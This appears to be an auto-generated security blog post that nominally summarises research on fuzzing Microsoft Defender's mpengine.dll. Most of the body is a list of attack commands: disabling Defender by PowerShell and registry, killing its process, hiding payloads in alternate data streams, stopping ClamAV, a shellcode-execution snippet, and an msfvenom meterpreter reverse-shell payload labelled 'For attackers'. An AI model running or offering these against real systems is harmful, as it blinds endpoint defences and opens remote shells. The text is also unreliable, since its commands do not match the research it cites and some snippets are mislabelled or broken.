Attacking EDRs: Fuzzing Defender’s Scanning and Emulation Engine (mpenginedll)

By /

Listen to this Post

Featured Image
Source: InfoGuard Labs
Additional Resource: EDR Evasion Techniques Summary

You Should Know:

Disabling Windows Defender via mpengine.dll Fuzzing

The InfoGuard Red Team discovered vulnerabilities in Microsoft Defender’s scanning and emulation engine (mpengine.dll). By fuzzing this component, they identified methods to disable Defender’s real-time protection.

Verified Commands & Techniques

1. Checking Defender Status (PowerShell)

Get-MpComputerStatus | Select RealTimeProtectionEnabled

2. Temporarily Disable Defender (Admin Rights Required)

Set-MpPreference -DisableRealtimeMonitoring $true
  1. Disable Defender via Registry (High-Risk, Requires Reboot)
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f

4. Kill Defender Processes

taskkill /f /im MsMpEng.exe
  1. Bypass Defender Scanning Using Alternate Data Streams (ADS)
    echo MaliciousPayload > cleanfile.txt:hidden.ps1 
wmic process call create c:\path\to\cleanfile.txt:hidden.ps1

Linux Equivalent: Disabling Security Tools

sudo systemctl stop clamav  Stop antivirus 
sudo chmod -x /usr/bin/clamscan  Remove execute permissions

EDR Evasion Techniques

  • Process Hollowing: Replace legitimate process memory with malicious code.
  • Direct Syscalls: Bypass user-mode hooks.
  • Reflective DLL Injection: Load libraries without touching disk.

Example: Reflective DLL Injection (C++)

HMODULE hModule = LoadLibraryA("legit.dll"); 
LPVOID payload = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
memcpy(payload, shellcode, sizeof(shellcode)); 
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)payload, NULL, 0, NULL);

What Undercode Say

Microsoft has patched some of these vulnerabilities, but EDR evasion remains a cat-and-mouse game. Organizations must monitor for unusual registry changes, unsigned PowerShell scripts, and unexpected process terminations. Red teams should continuously test detection capabilities, while blue teams must harden endpoints with:
– AppLocker / WDAC (Windows Defender Application Control)
– Suspicious command-line auditing
– Memory protection (e.g., AMSI)

For defenders:

Enable-ProcessMitigation -System -Enable DisableWin32kSystemCalls

For attackers:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 -f raw | xor -k 0x41 -o payload_encrypted.bin

Prediction

As EDRs improve, attackers will shift to firmware-level attacks (e.g., UEFI rootkits) and AI-driven evasion. Expect more kernel-mode bypasses in 2024-2025.

Expected Output:

  • Defender status check
  • Registry-based disable
  • Process killing
  • EDR evasion via Reflective DLL Injection
  • Defensive hardening commands

References:

Reported By: Mathias Fuchs – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram

Related Posts: